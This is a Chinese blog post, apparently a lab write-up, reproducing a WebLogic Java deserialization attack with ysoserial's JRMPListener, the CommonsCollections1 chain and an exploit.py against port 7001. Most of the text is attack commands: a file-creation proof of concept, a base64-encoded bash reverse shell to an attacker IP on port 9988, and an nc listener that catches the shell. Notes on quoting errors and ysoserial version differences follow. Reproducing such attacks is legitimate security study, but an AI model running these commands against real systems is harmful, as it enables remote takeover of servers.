赞
踩
(1)nmap确定服务类型
(2)利用ysoserial启动一个JRMP Server服务
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 “touch /tmp/hello.txt”
(3) 执行exploit.py文件
python2 exploit.py 192.168.43.127 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.43.208 9999 JRMPClient2
(4)在靶机查看是否在tmp目录下创建成功hello.txt文件
base64加密
bash -i >& /dev/tcp/192.168.43.208/9988 0>&1
bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMjA4Lzk5ODggMD4mMQo=}|{base64,-d}|{bash,-i}
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMjA4Lzk5ODggMD4mMQo=}|{base64,-d}|{bash,-I}"
python2 exploit.py 192.168.43.127 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.43.208 9999 JRMPClient2
nc -lvnp 9988
可以看到拿到shell
(1)反思
之前没成功建立,思考未建立的原因。原因是command命令都要用“”括起来,错误命令必然导致错误的结果,因此网上的资料,如果没有过程截图,也不可以贸用。
错误演示,加上过程中的错误截图,便于大家分析参考
(2)错误的演示过程,可以看到数据包是已经发送了,但是并没有建立成功ui目录
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 touch "/tmp/ui"
复现weblogic使用的是:0.0.6
复现jboss使用的是:master版本
经过实际测试发现,当weblogic,使用两个版本的ysoserial都可以反弹shell成功,只是过程少许不同
在使用master版本,在执行python的时候,选择JRMPClient 替代,并非JRMPClient2,这是少许的不同。
python2 exploit.py 192.168.43.127 7001 ysoserial-master-d367e379d9-1.jar 192.168.43.208 9999 JRMPClient
如果执意使用JRMPClient2,会报错,提示没有这个,并且所有的能用的都罗列出来
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。